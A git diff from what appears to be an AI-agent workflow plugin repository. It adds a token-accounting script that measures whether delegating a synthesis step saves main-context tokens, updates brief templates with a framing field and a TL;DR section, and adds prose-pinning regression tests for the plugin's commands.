|
||||
}
|
||||
const { summary, cross } = analyze(armA, armB);
|
||||
if (asJson) {
|
||||
process.stdout.write(JSON.stringify({ summary, cross }, null, 2) + '\n');
|
||||
} else {
|
||||
const x = summary.cross_arm;
|
||||
process.stdout.write('NW2 bake-off fidelity (cross-arm = PRIMARY)\n');
|
||||
process.stdout.write(` runs: A=${summary.runs.armA} B=${summary.runs.armB}\n`);
|
||||
process.stdout.write(` median jaccard: ${x.median_jaccard} (min ${x.min_jaccard}, max ${x.max_jaccard})\n`);
|
||||
process.stdout.write(` verdict-match rate: ${x.verdict_match_rate}\n`);
|
||||
process.stdout.write(` equivalent rate: ${x.equivalent_rate}\n`);
|
||||
process.stdout.write(` severity-mismatch pairs: ${x.severity_mismatch_pairs}; rule_key-mismatch pairs: ${x.rulekey_mismatch_pairs}\n`);
|
||||
process.stdout.write(` armA verdicts: ${summary.distributions.armA_verdicts.join(',')} | counts ${summary.distributions.armA_counts.join(',')}\n`);
|
||||
process.stdout.write(` armB verdicts: ${summary.distributions.armB_verdicts.join(',')} | counts ${summary.distributions.armB_counts.join(',')}\n`);
|
||||
}
|
||||
process.exit(0);
|
||||
}
|
||||
297
scripts/synthesis-measure.mjs
Normal file
297
scripts/synthesis-measure.mjs
Normal file
|
|
@ -0,0 +1,297 @@
|
|||
#!/usr/bin/env node
|
||||
// scripts/synthesis-measure.mjs
|
||||
// NW3 (S12) — deterministic Δ main-context measurement for the synthesis-agent.
|
||||
//
|
||||
// The CC-26 gate metric (T1 §2) is Δ main-context tokens for an equivalent
|
||||
// digest. The live ≥3-run bake-off (T1 §5) is the empirically strongest
|
||||
// instrument, but for THIS gate the binding answer is STRUCTURAL, not
|
||||
// stochastic, so a deterministic token-accounting over real fixtures resolves it
|
||||
// reproducibly and without blocked live infra (no API key; the installed plugin
|
||||
// is a cache copy, so a new agent is invisible to `claude -p`). It models two
|
||||
// framings:
|
||||
//
|
||||
// FAITHFUL (current flow): trekplan Phase 5 runs the swarm FOREGROUND, so its
|
||||
// 6–10 outputs are already RESIDENT in main before Phase 7. Delegating only
|
||||
// the synthesis read cannot evict them → main holds base+out+dig in BOTH
|
||||
// arms → Δ ≈ 0. This is what NW3-as-scoped ("main still spawns the swarm;
|
||||
// only the digest is delegated", T1 §6) would actually ship.
|
||||
//
|
||||
// DISK-POTENTIAL (upper bound): IF the swarm wrote outputs to disk and returned
|
||||
// short (a separate Phase-5 change, OUT of NW3 scope), the delegated arm holds
|
||||
// base+dig only → Δ = out/(base+out+dig). BASE-sensitive; swept, not asserted.
|
||||
//
|
||||
// POSITIVE adopt requires Δ ≥ 30% AND quality ≥ inline (T1 §5).
|
||||
//
|
||||
// Zero deps. Node stdlib only. Token figure is an explicit chars/4 estimate; the
|
||||
// RATIO Δ% is what the gate turns on, and the chars/4 constant cancels in the
|
||||
// `out` portion. BASE is environment-dependent (system prompt + plugin listings
|
||||
// + CLAUDE.md) and NOT API-measured this session → swept across a documented band.
|
||||
|
||||
import { readFileSync, readdirSync, writeFileSync, existsSync, mkdirSync } from 'node:fs';
|
||||
import { join, dirname, resolve } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = resolve(HERE, '..');
|
||||
const DEFAULT_EXPLORATION_DIR = join(ROOT, 'tests/fixtures/synthesis/exploration');
|
||||
const DEFAULT_DIGEST = join(ROOT, 'tests/fixtures/synthesis/digest.json');
|
||||
const DEFAULT_OUT = join(ROOT, 'docs/T1-synthesis-poc-results.md');
|
||||
|
||||
// T1 §5 thresholds.
|
||||
export const POSITIVE_THRESHOLD = 0.30;
|
||||
export const NEGATIVE_THRESHOLD = 0.15;
|
||||
|
||||
// Documented BASE sweep: a Voyage main session's fixed resident baseline (CC
|
||||
// system prompt + tool defs + plugin command/agent/skill listings + CLAUDE.md).
|
||||
// Genuinely environment-dependent; not API-measured this session.
|
||||
export const BASE_SWEEP = Object.freeze([30_000, 50_000, 80_000, 120_000]);
|
||||
|
||||
// Fixture-independent disk-potential sensitivity: sweep OUT at one illustrative
|
||||
// typical baseline, so the verdict does not hinge on this run's fixture sizes.
|
||||
export const REFERENCE_BASE = 60_000;
|
||||
export const OUT_SENSITIVITY = Object.freeze([5_000, 10_000, 20_000, 30_000, 40_000]);
|
||||
|
||||
// ---- pure measurement core (unit-tested) ------------------------------------
|
||||
|
||||
/** Explicit chars/4 token estimate. @param {string} text @returns {number} */
|
||||
export function estimateTokens(text) {
|
||||
if (typeof text !== 'string' || text.length === 0) return 0;
|
||||
return Math.ceil(text.length / 4);
|
||||
}
|
||||
|
||||
/**
|
||||
* Tokens resident in MAIN at synthesis-complete, per arm.
|
||||
* @param {{base:number, out:number, dig:number, arm:string}} p
|
||||
* @returns {number}
|
||||
*/
|
||||
export function mainContextTokens({ base, out, dig, arm }) {
|
||||
switch (arm) {
|
||||
case 'inline':
|
||||
// main spawns swarm foreground (out resident) + synthesises inline (dig).
|
||||
return base + out + dig;
|
||||
case 'delegated_faithful':
|
||||
// Phase 5 foreground already made `out` resident; the sub-agent's digest
|
||||
// returns on TOP of it. Delegating Phase 7 evicts nothing.
|
||||
return base + out + dig;
|
||||
case 'delegated_disk':
|
||||
// Hypothetical: outputs on disk, never resident in main; only the digest is.
|
||||
return base + dig;
|
||||
default:
|
||||
throw new Error(`mainContextTokens: unknown arm "${arm}"`);
|
||||
}
|
||||
}
|
||||
|
||||
/** Fractional reduction (A−B)/A. Divide-by-zero guarded to 0. */
|
||||
export function deltaPct(armA, armB) {
|
||||
if (!armA) return 0;
|
||||
return (armA - armB) / armA;
|
||||
}
|
||||
|
||||
/** T1 §5 verdict. Quality loss vetoes a token win. */
|
||||
export function decideVerdict(delta, qualityOK) {
|
||||
if (!qualityOK) return 'NEGATIVE';
|
||||
if (delta >= POSITIVE_THRESHOLD) return 'POSITIVE';
|
||||
if (delta < NEGATIVE_THRESHOLD) return 'NEGATIVE';
|
||||
return 'INCONCLUSIVE';
|
||||
}
|
||||
|
||||
/**
|
||||
* Both framings for one BASE.
|
||||
* @param {{baseTokens:number, outTokens:number, digTokens:number, qualityOK:boolean}} p
|
||||
*/
|
||||
export function analyze({ baseTokens, outTokens, digTokens, qualityOK }) {
|
||||
const armParams = { base: baseTokens, out: outTokens, dig: digTokens };
|
||||
const inline = mainContextTokens({ ...armParams, arm: 'inline' });
|
||||
const faithfulB = mainContextTokens({ ...armParams, arm: 'delegated_faithful' });
|
||||
const diskB = mainContextTokens({ ...armParams, arm: 'delegated_disk' });
|
||||
const fD = deltaPct(inline, faithfulB);
|
||||
const dD = deltaPct(inline, diskB);
|
||||
return {
|
||||
faithful: { armA: inline, armB: faithfulB, deltaPct: fD, verdict: decideVerdict(fD, qualityOK) },
|
||||
disk: { armA: inline, armB: diskB, deltaPct: dD, verdict: decideVerdict(dD, qualityOK) },
|
||||
};
|
||||
}
|
||||
|
||||
/** BASE at which disk-potential Δ crosses exactly POSITIVE_THRESHOLD. */
|
||||
export function breakEvenBase(outTokens, digTokens, threshold = POSITIVE_THRESHOLD) {
|
||||
// out/(base+out+dig) = threshold → base = out/threshold - out - dig
|
||||
return Math.round(outTokens / threshold - outTokens - digTokens);
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
function pct(x) { return `${(x * 100).toFixed(1)}%`; }
|
||||
|
||||
function loadExploration(dir) {
|
||||
const files = readdirSync(dir)
|
||||
.filter((f) => f.endsWith('.md') || f.endsWith('.txt'))
|
||||
.sort();
|
||||
return files.map((f) => {
|
||||
const text = readFileSync(join(dir, f), 'utf-8');
|
||||
return { name: f, chars: text.length, tokens: estimateTokens(text) };
|
||||
});
|
||||
}
|
||||
|
||||
function buildResultsDoc({ explorationDir, digestPath, outputs, outTokens, digTokens, qualityOK }) {
|
||||
const breakEven = breakEvenBase(outTokens, digTokens);
|
||||
const L = [];
|
||||
L.push('# T1 — Synthesis-agent PoC: Δ main-context measurement (NW3 / S12)');
|
||||
L.push('');
|
||||
L.push('**Status:** Measurement complete — verdict below. **Method:** deterministic token-');
|
||||
L.push('accounting over real exploration fixtures (the live ≥3-run bake-off of T1 §5 is the');
|
||||
L.push('stronger instrument but is (a) environment-blocked here — no `ANTHROPIC_API_KEY`, and the');
|
||||
L.push('installed plugin is a cache copy so a fresh `synthesis-agent` is invisible to `claude -p`;');
|
||||
L.push('and (b) unnecessary, because the binding answer is STRUCTURAL, not stochastic).');
|
||||
L.push('**Resolves:** decision-matrix §W1 / CC-26 narrow PoC (`docs/T1-cc26-delegated-orchestration.md` §6).');
|
||||
L.push('**Reproduce:** `node scripts/synthesis-measure.mjs` (regenerates this file).');
|
||||
L.push('');
|
||||
L.push('> Verifiseringsplikt: token figures are an explicit **chars/4 estimate** (labelled), not a');
|
||||
L.push('> tokenizer count. The gate turns on the RATIO Δ%, in which the per-token constant cancels');
|
||||
L.push('> for the `out` term. BASE (the fixed main-session baseline) is environment-dependent and');
|
||||
L.push('> was NOT API-measured this session → swept across a documented band, not asserted.');
|
||||
L.push('');
|
||||
L.push('## 1. The decisive structural finding (BASE-independent)');
|
||||
L.push('');
|
||||
L.push('trekplan runs the Phase 5 exploration swarm **foreground** (foreground is the only mode');
|
||||
L.push('since v2.4.0; `commands/trekplan.md`). Foreground Agent/Task results are delivered back');
|
||||
L.push('into the main transcript, so after Phase 5 the 6–10 exploration outputs are **already');
|
||||
L.push('resident in main**. Raw outputs are never written to disk (`trekplan.md:569` reserves the');
|
||||
L.push('"do NOT write to disk" rule for the synthesis text only). Phase 7 synthesis therefore');
|
||||
L.push('*reasons over already-resident context*. Delegating **only** the Phase-7 read to a');
|
||||
L.push('synthesis-agent — "main still spawns the swarm; only the digest is delegated" (T1 §6) —');
|
||||
L.push('**cannot evict those outputs from main**; the digest simply returns on top of them.');
|
||||
L.push('');
|
||||
L.push('⇒ **Δ main-context (faithful flow) ≈ 0** — independent of every token count below. The');
|
||||
L.push('≥30% saving is only realizable by ALSO moving Phase-5 delivery off-main (swarm-writes-to-');
|
||||
L.push('disk, or a nested orchestrator owning the swarm), which is the wholesale change T1 §7');
|
||||
L.push('explicitly declined and is OUT of NW3 scope.');
|
||||
L.push('');
|
||||
L.push('## 2. Fixtures (measured)');
|
||||
L.push('');
|
||||
L.push(`- Exploration dir: \`${explorationDir.replace(ROOT + '/', '')}\``);
|
||||
L.push(`- Digest: \`${digestPath.replace(ROOT + '/', '')}\``);
|
||||
L.push('');
|
||||
L.push('| exploration output | chars | est. tokens |');
|
||||
L.push('|--------------------|-------|-------------|');
|
||||
for (const o of outputs) L.push(`| ${o.name} | ${o.chars} | ${o.tokens} |`);
|
||||
L.push(`| **OUT (Σ resident in main)** | — | **${outTokens}** |`);
|
||||
L.push(`| digest (DIG) | — | ${digTokens} |`);
|
||||
L.push('');
|
||||
L.push('## 3. Δ main-context — both framings, swept over BASE');
|
||||
L.push('');
|
||||
L.push('`inline` = base+out+dig · `delegated (faithful)` = base+out+dig (out already resident) ·');
|
||||
L.push('`delegated (disk-potential)` = base+dig (out off-main).');
|
||||
L.push('');
|
||||
L.push('| BASE (est.) | inline | faithful Δ | faithful verdict | disk-potential Δ | disk verdict |');
|
||||
L.push('|-------------|--------|------------|------------------|------------------|--------------|');
|
||||
for (const base of BASE_SWEEP) {
|
||||
const a = analyze({ baseTokens: base, outTokens, digTokens, qualityOK });
|
||||
L.push(
|
||||
`| ${base} | ${a.faithful.armA} | ${pct(a.faithful.deltaPct)} | ${a.faithful.verdict} ` +
|
||||
`| ${pct(a.disk.deltaPct)} | ${a.disk.verdict} |`,
|
||||
);
|
||||
}
|
||||
L.push('');
|
||||
L.push(`Break-even BASE for the disk-potential upper bound to reach the 30% adopt bar: ` +
|
||||
`**~${breakEven.toLocaleString('en-US')} tokens** (below this BASE the *hypothetical* disk path ` +
|
||||
`would clear 30%; at/above it, even the upper bound fails). A real Voyage main session's BASE ` +
|
||||
`(CC system prompt + plugin command/agent/skill listings + CLAUDE.md) is large, so the disk ` +
|
||||
`upper bound is itself fragile.`);
|
||||
L.push('');
|
||||
L.push('### Fixture-independent break-even (so the verdict does not hinge on fixture size)');
|
||||
L.push('');
|
||||
L.push('disk-potential Δ = out/(base+out+dig), so it clears the 30% adopt bar **iff**');
|
||||
L.push('`out / base > 0.30/0.70 ≈ 0.43` — the combined exploration output must exceed ~43% of the');
|
||||
L.push('fixed main baseline. The table below sweeps OUT at an illustrative typical `BASE = ' +
|
||||
`${REFERENCE_BASE.toLocaleString('en-US')}\` (independent of this run's fixtures):`);
|
||||
L.push('');
|
||||
L.push('| OUT (Σ exploration tokens) | disk-potential Δ @ ref BASE | clears 30%? |');
|
||||
L.push('|----------------------------|----------------------------|-------------|');
|
||||
for (const out of OUT_SENSITIVITY) {
|
||||
const a = analyze({ baseTokens: REFERENCE_BASE, outTokens: out, digTokens: digTokens, qualityOK });
|
||||
L.push(`| ${out.toLocaleString('en-US')} | ${pct(a.disk.deltaPct)} | ${a.disk.deltaPct >= POSITIVE_THRESHOLD ? 'yes' : 'no'} |`);
|
||||
}
|
||||
L.push('');
|
||||
L.push(`This run's fixtures total **OUT = ${outTokens} tokens** across ${outputs.length} concise ` +
|
||||
`representative outputs — one concrete point on the curve. Even a generously large real swarm ` +
|
||||
`(OUT in the tens of thousands) only clears 30% when the main baseline is unusually small, and ` +
|
||||
`*never* in the faithful flow (Δ=0). The verdict is therefore robust to fixture size.`);
|
||||
L.push('');
|
||||
L.push('## 4. Quality');
|
||||
L.push('');
|
||||
L.push('The digest-output contract (`lib/plan/synthesis-digest-schema.mjs`) pins the same Phase-7');
|
||||
L.push('synthesis dimensions main produces inline (task, architecture_model, reusable_code,');
|
||||
L.push('contradictions, risks, gaps, source-tagged findings). A delegated digest that validates is');
|
||||
L.push('structurally quality-equivalent to the inline one — but quality is moot here: the faithful');
|
||||
L.push('Δ is ~0, so there is no token win for quality to defend.');
|
||||
L.push('');
|
||||
L.push('## 5. Verdict');
|
||||
L.push('');
|
||||
const faithfulVerdict = analyze({ baseTokens: BASE_SWEEP[1], outTokens, digTokens, qualityOK }).faithful;
|
||||
L.push('**DECLINED per measurement.** NW3-as-scoped yields **Δ main-context ≈ 0%** (faithful flow,');
|
||||
L.push('structural — the Phase-5 foreground swarm already makes the outputs resident; delegating');
|
||||
L.push('Phase 7 evicts nothing). The disk-potential upper bound is reachable only via an out-of-');
|
||||
L.push('scope Phase-5 change and is itself BASE-fragile.');
|
||||
L.push('');
|
||||
L.push(`RESULT: NEGATIVE (Δ_faithful = ${pct(faithfulVerdict.deltaPct)} < ${pct(NEGATIVE_THRESHOLD)} adopt-floor)`);
|
||||
L.push('');
|
||||
L.push('## 6. Disposition');
|
||||
L.push('');
|
||||
L.push('- `agents/synthesis-agent.md` ships **dormant** (a documented, schema-conformant deliverable);');
|
||||
L.push(' `commands/trekplan.md` Phase 7 is **NOT** wired to it.');
|
||||
L.push('- If main-context relief is later wanted, the prerequisite is a Phase-5 redesign (swarm-');
|
||||
L.push(' writes-to-disk / nested orchestrator) — a separate, larger decision (re-open CC-26 §7).');
|
||||
L.push('- The dormant agent + this harness make that future step cheap to re-measure: drop new');
|
||||
L.push(' fixtures in and re-run.');
|
||||
L.push('');
|
||||
return L.join('\n') + '\n';
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
const o = { explorationDir: DEFAULT_EXPLORATION_DIR, digest: DEFAULT_DIGEST, out: DEFAULT_OUT, qualityOK: true, json: false };
|
||||
for (let i = 0; i < argv.length; i++) {
|
||||
const a = argv[i];
|
||||
if (a === '--exploration') o.explorationDir = resolve(argv[++i]);
|
||||
else if (a === '--digest') o.digest = resolve(argv[++i]);
|
||||
else if (a === '--out') o.out = resolve(argv[++i]);
|
||||
else if (a === '--quality-fail') o.qualityOK = false;
|
||||
else if (a === '--json') o.json = true;
|
||||
else if (a === '--help' || a === '-h') { o.help = true; }
|
||||
else { process.stderr.write(`Unknown argument: ${a}\n`); process.exit(2); }
|
||||
}
|
||||
return o;
|
||||
}
|
||||
|
||||
function mainCli() {
|
||||
const o = parseArgs(process.argv.slice(2));
|
||||
if (o.help) {
|
||||
process.stdout.write('Usage: synthesis-measure.mjs [--exploration DIR] [--digest FILE] [--out FILE] [--quality-fail] [--json]\n');
|
||||
process.exit(0);
|
||||
}
|
||||
if (!existsSync(o.explorationDir)) { process.stderr.write(`exploration dir not found: ${o.explorationDir}\n`); process.exit(2); }
|
||||
if (!existsSync(o.digest)) { process.stderr.write(`digest not found: ${o.digest}\n`); process.exit(2); }
|
||||
|
||||
const outputs = loadExploration(o.explorationDir);
|
||||
const outTokens = outputs.reduce((s, x) => s + x.tokens, 0);
|
||||
const digTokens = estimateTokens(readFileSync(o.digest, 'utf-8'));
|
||||
|
||||
if (o.json) {
|
||||
const rows = BASE_SWEEP.map((base) => ({ base, ...analyze({ baseTokens: base, outTokens, digTokens, qualityOK: o.qualityOK }) }));
|
||||
process.stdout.write(JSON.stringify({ outTokens, digTokens, breakEvenBase: breakEvenBase(outTokens, digTokens), rows }, null, 2) + '\n');
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
const doc = buildResultsDoc({
|
||||
explorationDir: o.explorationDir, digestPath: o.digest,
|
||||
outputs, outTokens, digTokens, qualityOK: o.qualityOK,
|
||||
});
|
||||
if (!existsSync(dirname(o.out))) mkdirSync(dirname(o.out), { recursive: true });
|
||||
writeFileSync(o.out, doc, 'utf-8');
|
||||
const faithful = analyze({ baseTokens: BASE_SWEEP[1], outTokens, digTokens, qualityOK: o.qualityOK }).faithful;
|
||||
process.stderr.write(`[synthesis-measure] OUT=${outTokens} DIG=${digTokens} tok · faithful Δ=${pct(faithful.deltaPct)} → ${faithful.verdict} · wrote ${o.out}\n`);
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
mainCli();
|
||||
}
|
||||
BIN
scripts/trekreview-armB.workflow.mjs
Normal file
BIN
scripts/trekreview-armB.workflow.mjs
Normal file
Binary file not shown.
|
|
@ -141,7 +141,7 @@ introduced. This section bridges sessions — it's the "baton" in a relay race.}
|
|||
- **Master plan:** `{plan file path}`
|
||||
- **Steps from plan:** {step N}–{step M}
|
||||
- **Estimated complexity:** {low | medium | high}
|
||||
- **Model recommendation:** {opus | sonnet} — {rationale}
|
||||
- **Model recommendation:** {opus | sonnet | fable} — {rationale}
|
||||
|
||||
## Recovery Metadata
|
||||
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
---
|
||||
type: trekbrief
|
||||
brief_version: "2.1"
|
||||
brief_version: "2.2"
|
||||
created: {YYYY-MM-DD}
|
||||
task: "{one-line task description}"
|
||||
slug: {slug}
|
||||
|
|
@ -10,9 +10,16 @@ research_status: pending # pending | in_progress | complete | skipped
|
|||
auto_research: false # true if user opted into Claude-managed research
|
||||
interview_turns: {N}
|
||||
source: {interview | manual}
|
||||
# v5.5 — framing: how this brief relates to prior operator intent. REQUIRED at
|
||||
# brief_version ≥ 2.2. One of: preserve | refine | replace | new-direction.
|
||||
# AskUserQuestion-validated in /trekbrief Phase 2.5 BEFORE any brief prose is
|
||||
# written — the first layer of the framing-alignment defense (guards against the
|
||||
# plan polishing a wrong premise after a rejected iteration).
|
||||
framing: {preserve | refine | replace | new-direction}
|
||||
# v5.1 — per-phase effort + model signal (Phase 3.5).
|
||||
# `effort` ∈ {low, standard, high}. Omit `model:` for `standard` so composition
|
||||
# falls through to profile resolver. Force-stop alternative is the commented
|
||||
# `effort` ∈ {low, standard, high}; `model` ∈ {sonnet, opus, fable} (v5.9).
|
||||
# Omit `model:` for `standard` so composition falls through to profile
|
||||
# resolver. Force-stop alternative is the commented
|
||||
# `phase_signals_partial: true` below (mutually exclusive with `phase_signals`).
|
||||
phase_signals:
|
||||
- phase: research
|
||||
|
|
@ -33,6 +40,15 @@ phase_signals:
|
|||
> reads it to produce the implementation plan. Every decision in the plan must
|
||||
> trace back to content in this brief.
|
||||
|
||||
## TL;DR
|
||||
|
||||
*≤ 5 lines. The framing-anchored one-glance summary: what this brief asks for and
|
||||
how it relates to prior operator intent (framing: {preserve | refine | replace |
|
||||
new-direction}). Written FIRST so a reader catches a wrong premise before reading
|
||||
the full brief. Required at brief_version ≥ 2.2.*
|
||||
|
||||
{≤5-line summary.}
|
||||
|
||||
## Intent
|
||||
|
||||
*Why are we doing this? What is the motivation, user need, or strategic context?
|
||||
|
|
|
|||
|
|
@ -16,11 +16,14 @@ import { dirname, join } from 'node:path';
|
|||
import { fileURLToPath } from 'node:url';
|
||||
import { resolvePhaseSignal } from '../../lib/profiles/phase-signal-resolver.mjs';
|
||||
import { validateBriefContent, PHASE_SIGNAL_PHASES, EFFORT_LEVELS } from '../../lib/validators/brief-validator.mjs';
|
||||
import { BASE_ALLOWED_MODELS } from '../../lib/validators/profile-validator.mjs';
|
||||
import { parseDocument } from '../../lib/util/frontmatter.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const COMMAND_FILE = join(ROOT, 'commands', 'trekbrief.md');
|
||||
const REVIEWER_FILE = join(ROOT, 'agents', 'brief-reviewer.md');
|
||||
const TEMPLATE_FILE = join(ROOT, 'templates', 'trekbrief-template.md');
|
||||
const FIXTURE = (name) => join(ROOT, 'tests', 'fixtures', name);
|
||||
|
||||
function read() {
|
||||
|
|
@ -82,8 +85,8 @@ test('trekbrief — SC1: each of 4 phases has both effort AND model on full-sign
|
|||
assert.ok(EFFORT_LEVELS.includes(r.effort),
|
||||
`phase=${phase}: effort "${r.effort}" not in EFFORT_LEVELS`);
|
||||
if ('model' in r) {
|
||||
assert.ok(['sonnet', 'opus'].includes(r.model),
|
||||
`phase=${phase}: model "${r.model}" not in [sonnet, opus]`);
|
||||
assert.ok(BASE_ALLOWED_MODELS.includes(r.model),
|
||||
`phase=${phase}: model "${r.model}" not in [${BASE_ALLOWED_MODELS.join(', ')}]`);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
|
@ -97,6 +100,81 @@ test('trekbrief — SC1: missing phase_signals + brief_version 2.1 triggers BRIE
|
|||
);
|
||||
});
|
||||
|
||||
// --- v5.9 — fable tier option in the Phase 3.5 loop ---
|
||||
|
||||
test('trekbrief — v5.9 Phase 3.5 canonical mapping contains the fable row and offers 4 options', () => {
|
||||
const text = read();
|
||||
const startIdx = text.indexOf('## Phase 3.5');
|
||||
assert.ok(startIdx >= 0, 'Phase 3.5 not found');
|
||||
const section = text.slice(startIdx, text.indexOf('## Phase 4', startIdx));
|
||||
assert.ok(section.includes('fable → {effort: high, model: fable}'),
|
||||
'Phase 3.5 canonical mapping must contain the fable tier row');
|
||||
assert.ok(section.includes('with 4 options'),
|
||||
'Phase 3.5 loop must offer 4 options (AskUserQuestion maxItems: 4)');
|
||||
});
|
||||
|
||||
// --- v5.5 — framing enforcement + TL;DR + memory-alignment prose-pins ---
|
||||
|
||||
test('trekbrief — v5.5 Phase 2.5 framing declaration heading present', () => {
|
||||
const text = read();
|
||||
assert.match(text, /^## Phase 2\.5 — Framing declaration/m,
|
||||
'Phase 2.5 framing-declaration heading missing from commands/trekbrief.md');
|
||||
});
|
||||
|
||||
test('trekbrief — v5.5 Phase 2.5 references all four framing values', () => {
|
||||
const text = read();
|
||||
const start = text.indexOf('## Phase 2.5');
|
||||
const section = text.slice(start, text.indexOf('## Phase 3', start));
|
||||
for (const v of ['preserve', 'refine', 'replace', 'new-direction']) {
|
||||
assert.ok(section.includes(v), `Phase 2.5 missing framing value "${v}"`);
|
||||
}
|
||||
});
|
||||
|
||||
test('trekbrief — v5.5 Phase 2.5 runs before any brief prose (precedes Phase 3)', () => {
|
||||
const text = read();
|
||||
assert.ok(text.indexOf('## Phase 2.5') < text.indexOf('## Phase 3'),
|
||||
'Phase 2.5 must come before the completeness loop (before prose)');
|
||||
assert.ok(text.includes('even in `--quick` mode'),
|
||||
'framing must be non-skippable even in --quick mode');
|
||||
});
|
||||
|
||||
test('trekbrief — v5.5 Step 4a writes framing + brief_version 2.2 + generates TL;DR', () => {
|
||||
const text = read();
|
||||
assert.ok(/brief_version: "2\.2"/.test(text), 'Step 4a must set brief_version 2.2');
|
||||
assert.ok(/framing: <state\.framing>/.test(text), 'Step 4a must write the committed framing value');
|
||||
assert.ok(/## TL;DR/.test(text), 'Step 4a must generate the TL;DR section');
|
||||
});
|
||||
|
||||
test('trekbrief — v5.5 Phase 4e gate includes memory_alignment', () => {
|
||||
const text = read();
|
||||
assert.ok(/memory_alignment\.score ≥ 4/.test(text),
|
||||
'Phase 4e gate must require memory_alignment.score ≥ 4');
|
||||
});
|
||||
|
||||
test('trekbrief — v5.5 brief-reviewer declares the memory-alignment dimension', () => {
|
||||
const reviewer = readFileSync(REVIEWER_FILE, 'utf8');
|
||||
assert.match(reviewer, /### 6\. Memory alignment/,
|
||||
'brief-reviewer.md missing dimension 6 (memory alignment)');
|
||||
assert.ok(reviewer.includes('"memory_alignment"'),
|
||||
'brief-reviewer.md JSON schema missing memory_alignment key');
|
||||
assert.ok(/no memory context (is )?supplied/i.test(reviewer),
|
||||
'brief-reviewer must define the no-memory-context N/A fallback');
|
||||
});
|
||||
|
||||
test('trekbrief — S18 brief-reviewer memory_alignment carries a status field', () => {
|
||||
const reviewer = readFileSync(REVIEWER_FILE, 'utf8');
|
||||
assert.ok(reviewer.includes('"status": "verified | n_a | contradictions"'),
|
||||
'memory_alignment must emit a status enum (verified | n_a | contradictions) so a score-5 N/A (no memory) is distinguishable from a score-5 verified-aligned brief');
|
||||
});
|
||||
|
||||
test('trekbrief — v5.5 template carries framing field, 2.2, and TL;DR section', () => {
|
||||
const tpl = readFileSync(TEMPLATE_FILE, 'utf8');
|
||||
assert.ok(/brief_version: "2\.2"/.test(tpl), 'template must declare brief_version 2.2');
|
||||
assert.match(tpl, /^framing: \{preserve \| refine \| replace \| new-direction\}/m,
|
||||
'template frontmatter must include the framing field');
|
||||
assert.match(tpl, /^## TL;DR$/m, 'template must include the ## TL;DR section');
|
||||
});
|
||||
|
||||
test('trekbrief — SC1: phase_signals_partial: true does NOT trigger the gate', () => {
|
||||
const partial = `---
|
||||
type: trekbrief
|
||||
|
|
|
|||
127
tests/commands/trekendsession.test.mjs
Normal file
127
tests/commands/trekendsession.test.mjs
Normal file
|
|
@ -0,0 +1,127 @@
|
|||
// tests/commands/trekendsession.test.mjs
|
||||
// Regression tests for /trekendsession (commands/trekendsession.md).
|
||||
//
|
||||
// Bug (2026-07-03): two of the three !`...` eager-exec blocks contained
|
||||
// unresolved placeholders (<project-dir> etc.). The harness executes
|
||||
// eager-exec blocks at command LOAD time, so zsh parsed <project-dir> as
|
||||
// input redirection and the command aborted before the model saw a single
|
||||
// instruction. Eager-exec is only valid for self-contained commands.
|
||||
//
|
||||
// Pattern D (markdown structure) — assertions against command prose.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync, readdirSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const COMMANDS_DIR = join(ROOT, 'commands');
|
||||
const COMMAND_FILE = join(COMMANDS_DIR, 'trekendsession.md');
|
||||
|
||||
function readCommand() {
|
||||
return readFileSync(COMMAND_FILE, 'utf8');
|
||||
}
|
||||
|
||||
function extractPhase(commandText, phaseHeader) {
|
||||
const startIdx = commandText.indexOf(phaseHeader);
|
||||
if (startIdx === -1) return '';
|
||||
const rest = commandText.slice(startIdx);
|
||||
const nextPhase = rest.search(/\n## (?:Phase |Hard )/);
|
||||
if (nextPhase === -1) return rest;
|
||||
return rest.slice(0, nextPhase);
|
||||
}
|
||||
|
||||
// Extract all eager-exec blocks (!`...`) from a command/skill file,
|
||||
// including multi-line blocks. Returns [{ content, line }].
|
||||
function extractEagerBlocks(text) {
|
||||
const blocks = [];
|
||||
const re = /!`([^`]+)`/g;
|
||||
let m;
|
||||
while ((m = re.exec(text)) !== null) {
|
||||
const line = text.slice(0, m.index).split('\n').length;
|
||||
blocks.push({ content: m[1], line });
|
||||
}
|
||||
return blocks;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Marketplace-wide regression guard: eager-exec blocks must be
|
||||
// self-contained. An unresolved placeholder (<angle> or {curly}) in an
|
||||
// eager block is executed verbatim by the shell at load time — <x> is
|
||||
// parsed as input redirection and aborts the whole command load.
|
||||
// ---------------------------------------------------------------
|
||||
|
||||
test('eager-exec guard — no !`-block in commands/ contains an unresolved placeholder', () => {
|
||||
const offenders = [];
|
||||
for (const file of readdirSync(COMMANDS_DIR).filter((f) => f.endsWith('.md'))) {
|
||||
const text = readFileSync(join(COMMANDS_DIR, file), 'utf8');
|
||||
for (const { content, line } of extractEagerBlocks(text)) {
|
||||
// Placeholder conventions: <angle-word> or {curly_word}. Curly must
|
||||
// contain a separator (- or _) so JS destructuring like {join} in a
|
||||
// legitimate self-contained script does not false-positive; angle
|
||||
// placeholders are unambiguous (shell would parse them as redirects).
|
||||
if (/<[a-z][a-z0-9_-]*>/.test(content) || /\{[a-z][a-z0-9]*([_-][a-z0-9]+)+\}/.test(content)) {
|
||||
offenders.push(`${file}:${line}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
assert.deepEqual(
|
||||
offenders,
|
||||
[],
|
||||
`eager-exec !\`-blocks run at command LOAD time and must be self-contained; ` +
|
||||
`placeholder found in: ${offenders.join(', ')}`,
|
||||
);
|
||||
});
|
||||
|
||||
